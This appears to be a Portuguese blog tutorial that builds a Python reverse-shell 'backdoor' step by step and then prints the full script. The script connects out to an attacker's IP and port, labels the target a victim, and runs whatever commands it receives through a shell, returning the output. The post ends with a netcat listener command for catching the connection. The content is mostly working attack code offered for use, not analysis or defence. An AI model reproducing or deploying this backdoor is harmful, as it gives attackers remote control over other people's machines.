Dhiego Silva

BlackDoor em Python

December 18, 2017 | 4 Minute Read

Simples "BackDoor" em python para conexão revessa, você pode usar o NetCat ou criar um servido em python para estar ouvindo o"BkacDoor".

1. vamos importa as bibliotecas necessarias para o funcionamento do BackDoor.
#!/usr/bin/python
import socket,subprocess, os
# ou
import socket
import subprocess
import os
2. Antes de começar vamos definir 2 variáveis para a "Porta" é "IP" onde o backdoor ira se conectar.
# Seu Ip ou Ip externo. 
HOST = '192.168.1.40'
# Sua porta
PORT = 90
3. Agora temos que definir o tipo de socket, neste caso sera usado o socket do tipo TCP.
# TCP Socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4. Aqui estamos conectando o socket no ip e porta que definimos acima.
# Conectando ou Ip e a Porta 
s.connect((HOST, PORT))
5. Agora vamos enviar uma "mensagem para o servidor indicando que nos conectamos a ele."
# Mensagem indicando que estamos conectado
s.send('''
#########################
[*] Conectado a Vitima !
#########################
\nRoot@Shell>>''')
6. Agora vamos criar um "loop" para recebermos comando externos de um servidor.
while 1:
data = s.recv(1024)
# Se dermos o comando "quit" paramos o loop
if data == "quit": break
# Parte do comando "CD" para navegar melhor.
if data.startswith('cd'):
os.chdir(data[3:].replace('\n',''))
s.send(os.getcwd()+"Root@Shell>>")
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
# Fechamos o socket
s.close()
A qui abaixo esta os servidor já pronto é uma imagem dele conectado ao "NetCat"
#!/usr/bin/python
import socket,subprocess, os
HOST = '192.168.1.40' # Seu Ip ou No-Ip
PORT = 90 # Sua porta
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('''
#########################
[*] Conectado a Vitima !
#########################
\nRoot@Shell>>''')
while 1:
data = s.recv(1024)
if data == "quit": break
# Parte do comando "CD" para navegar melhor.
if data.startswith('cd'):
os.chdir(data[3:].replace('\n',''))
s.send(os.getcwd()+"Root@Shell>>")
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
Usando o NetCat Exp:
nc -vnlp "90" tem que ser a porta que definimos na variável "PORT"